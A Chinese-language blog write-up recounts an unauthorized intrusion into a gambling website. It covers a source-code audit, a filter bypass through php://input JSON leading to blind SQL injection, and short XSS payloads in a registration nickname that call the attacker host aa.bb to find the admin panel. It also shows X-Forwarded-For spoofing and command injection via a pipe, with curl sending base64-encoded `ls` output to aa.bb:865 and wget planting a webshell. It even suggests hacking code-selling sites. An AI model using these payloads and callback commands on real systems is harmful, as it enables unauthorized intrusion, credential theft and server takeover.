我们废话不多说,直接看过程吧!
源码的获取来源我就不透露了,找下载这种源码的站,想办法把卖源码的站撸了,然后免费下载就完事了
目标站点使用的源码就是下面这套,名字就不透露了,主要分享审计思路和渗透思路
先来看看目录结构
Web前台默认解析的是main目录Admin后台管理解析的是admin目录
然而一般bc站点都是前后台分离,也就是前台1.1.1.1的服务器,后台2.2.2.2的服务器
然后使用的是同台数据库服务器
那我们先看main目录
Index.php文件为入口文件
是pc端就跳到pcindex.php,继续跟进
看到包含了两个文件,跟进看看
Function.php
Conn.php
可以看到,function.php看名字就可以看出来,函数库
Conn.php文件存放着各种过滤方法
我们一个一个看
下面一整页,是conn.php提取出来的过滤函数
我们继续看,我会一个一个讲解
先看第一张图
有PHP基础的同学可以看到
GET,POST,COOKIE,REQUEST的全部获取方法都调用了checksqlkey,我们跟进,
而当我们一开始认为是过滤的时候,其实是错的,这里走的拦截
过滤可以绕,拦截很头疼
可以看到checksqlkey只要匹配到了任意一个值,就会返回true
而一开始的全局过滤
if(checkSqlKey($value)) exit("xxxxxxaccess denied!");
只要是碰到规则,就退出程序,输出xxxxxaccess denied!
而checksqlkey这个函数变态到什么程度,拿其中一个值script做举例
比如我们传递
Script 拦截Scripts 拦截
Xscript 拦截这里可以看到,只要是出现了字眼,就给你干掉
然后继续看,假设你绕过了checksqlkey方法,他还调用了StopAttack方法,如下图
这里我就不分析了,大概原理跟前面分析的一样
这里就只是全局的一个获取而已。就自动调用了这些过滤,我们继续看pcindex.php还调用了啥
$referer=str_check($_GET['referer']);
找到str_check方法
可以看到,继续调用拦截方法inject_check
然后在调用
那我们现在来梳理下思路
1、只要包含了conn.php文件的,就会自动调用全局过滤
checkSqlKey函数,StopAttack函数,就是这两个函数
2、只要调用了str_check方法的,就一定是包含了conn.php方法,并且调用额外的函数
checkSqlKey函数,StopAttack函数,inject_check函数,htmldecode函数,这四个函数
这里可以说是无敌的了,你需要找另外的方法去绕过他才行,绕过的思路就是
1、不包含conn.php文件2、包含了conn.php文件,通过key去传递值,绕过value的检测
简单的说就是我们传递aa=bb,那么全局过滤函数检查的是bb,而不去检查aa
那我们开始找文件,找可以绕过的
一路下来,这么多个文件,一个一个细看
发现了一处可以绕过的地方,使用php伪协议绕过
我们跟进文件查看
可以看到,这一处是包含了conn.php文件的,但是他有个可以绕过的办法就是
File_get_contents(“php://input”)
这个利用的是php的伪协议获取值
比如我们传递post内容aaaaaa,那么就是获取aaaaaa
而我们正常的post内容应该是aa=bb才对
那么这个点就可以绕过value的检测
我们来看下burp下的情况,这里修改下代码,输出$postData值
可以看到没有被全局过滤方法给拦截到
继续看代码
需要将$postData方法给json解码,那么我们这里传递的肯定就是json格式的数据了
可以看到,获取到了解码后的值,并且没有被拦截。
有同学可能会问,这不是传递了value值了吗,我们输出下$_POST方法看看
可以看到$_POST认为我们传递的是整个参数{"script":"script"},值是空
所以这里就可以天然绕过了
我们继续看
看到sql语句那里,是拼接的,那么这里的注入肯定跑不了,别问,问就是全局过滤拦不住我们
可以看到$id为int类型,$order_id是可控参数,那么我们看是怎么获取的
$attachArr= explode("_", $postDataArr['attach']);
$order_id= $attachArr[1];
那我们只需要传递attach并且通过_分割值即可,取第一位赋值给$order_id
再看if条件
$params['resultcode']==0
$params['resultcode'] =$postDataArr['resultcode'];
我们还需要传递个值resultcode=0即可
我们发送构造的请求
可以看到完整的sql语句
参数为{"resultcode":"0","attach":"1_2_3"}
修改payload
参数为{"resultcode":"0","attach":"1_2'_3"}
可以看到,mysql报错了
不过遗憾的是这里是盲注,不是显注
然后就是注管理员账号密码的过程。过程比较简单,就不写了
我们在来整理下审计和渗透思路
1、有管理员账号密码了
2、找到后台
3、Getshell
后台怎么找呢,后台不解析在同一台机器的,只能XSS了
继续看源码去审计
发现了个有趣的文件,B.php
这个文件审计的过程就不讲解了,大概的作用就是
会去实例化libindexaction下的类以及
corecontroller下的类
通过url来控制实例化哪个类哪个方法
比如
b.php?c=user&a=reg
就是调用UserAction.php->reg()
那么我们来看doreg()
内容比较长我就只贴出关键的代码
$nickname = Req::post('nickname');
$nickname = str_replace("http","", $nickname);
$nickname = str_replace("href","", $nickname);
if ($nickname == "" ||strlen($nickname) > 20) {
return $this->result(1, "昵称错误,长度不超过20位!");
}
这里就是单纯的获取post参数nickname
然后将http,href字眼替换为空,这个好绕过
问题是长度只能是20以内,包括20
我们看一个正常的xss payload
<script src=1.js></script>
就我上面的payload,都没带地址,就超过20了,并且script在全局过滤方法checkSqlKey里出现了,可以用别的payload
<img src=x onerror=.......>
所以说这里,就别想着加载js文件,怎么都大于20个字符了
单单能把后台给打出来就不错了
再改改payload
<img src=//aa.bb>
我们看上面的payload
加载img标签,访问http或https的aa.bb域名
我们只需要在aa.bb域名下默认解析index.php文件即可
然后在index.php文件里获取对方的ip port referer保存下来即可
但是这样不稳妥,因为管理员有点意识就会发现被人X了,看下图
会有大概这样的一个图标,于是继续找有没有更好的办法,没有就只能用这个了
然后找到了mobile.php
细心的同学可以看到,代码跟b.php一样的
但是这里,他调用的是mobile端的代码,我们来看看手机端的注册代码
可以看到比上面的b.php少了一行
if ($nickname =="" || strlen($nickname) > 20) { return $this->result(1, "昵称错误,长度不超过20位!");
}
这里可以看到没有限制字符的长度。那么舒服了,不限制长度,有各种方法能绕过他
后来尝试后发现出问题了,于是在数据库一看
Nickname的长度只能是50以内,包括50。
一系列努力下,凑出了50个字符,能打cookie的代码
<svg/onload="newImage().src=`//aa.bb/?`+cookie">
结果发现双引号被转义了。导致代码出问题。
就老老实实的
<img src=//aa.bb style=display:none;>
把img标签给隐藏下,增加下隐蔽性
最终,通过手机端注册,在昵称处打入xss的payload,然后想办法让管理员看到,触发即可
然后审计代码,将网站目录解析到admin,看后台代码
一个一个点的看,发现领取红包处,以及投注处可以让后台管理员看到
就去用前面的注入点,把红包的领取码注出来,然后领取红包后去投注
没过多久,目标后台便被打出来了
当我一访问后台地址,您的ip不允许访问
就想了想,代码是这样获取ip的
那么我们伪造XFF头即可绕过限制
在我们的请求头里设置对方管理员的ip即可
X-Forwarded-For: 123.123.123.123
然后就绕过了限制,看到了后台登录口了
把账号密码一输,成功进入后台
那我们现在只差一步getshell了
找了半天,没有文件上传,修改配置文件处,也没法闭合
继续审计,找到了个有趣的方法
这里执行system函数,并且我们能控制参数
那么这里命令执行跑不了,怎么样才能让我们的命令执行
这里我只贴出关键代码,太长了
当post参数no不等于0,并且参数gametype不等于空即可
然后当gametype不等于if里的某项值即可到达我们可以操控的位置
即进入else分支
而我们的参数GameType调用了GetGameKindFromGameType方法,跟进查看
只需要随便挑个值即可,并且这个值,不等于if里的某项值
我这里就随便挑了个值gamehg28
当我们传递post请求参数为
No=1&GameType=gamehg28
就会进入if分支,从而执行代码,如下图
我们可以看到有两个参数可以控制$cmd的值
一个是$No,一个是$kgno
而这两个参数都是可以控制的,那我们控制最后一个参数,方便控制cmd语句
传递参数并输出$cmd来看看
可以看到输出的cmd语句
这里讲一下linux下的&&和||
比如
echo 1 && echo 2
表示输出1成功后再输出2
echo 1 || echo 2
表示输出1失败才去输出2
可以看到上图,cd一个不存在的目录失败,就会输出2
那么有个问题就是这里的代码里的cmd命令是肯定可以成功执行
我们用&&让他继续执行我们的代码即可,但是源码里实体化编码了&符号
可以看到变成了&
那么有没有别的办法能执行我们的办法呢
这里说一下,一个|的作用
echo 1|echo 2
这里可以看到,输出了2,我们再看
说白了就是会执行我们后面传递的参数
那我们构造命令执行的payload,把webshell下载到目标机器上
no=1&gametype=gamehg28&action=open_gamelog&kgno=2|curlhttp://aa.bb:865
aa.bb的机器监听865端口即可收到请求
这里有同学会说写个一句话,>被实体化编码了
然后使用wget去下载文件,发现我们的文件被下载到cd的目录下了
cd /alidata/www/xxxx/caiji
那我们就得想办法看路径才行了
这里用curl来查看,因为system函数是无回显的
Curl http://aa.bb:865/`ls|base64`
服务器端监听865端口
可以看到收到的get请求为base64加密后的ls值
我们解开看看即可
然后就一直看路径,找到web根路径即可,然后用wget把文件下载到目录
即可getshell
总结:
1.常规渗透,无果
2.找目标源码,并下载回来审计
3.审计到一个注入漏洞以及一个XSS
4.利用注入,注出管理员账号密码,然后利用XSS打到后台
5.登录后台,利用命令执行漏洞,通过下载文件到方式成功拿到权限
本文作者:HACK_Learn
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/122876.html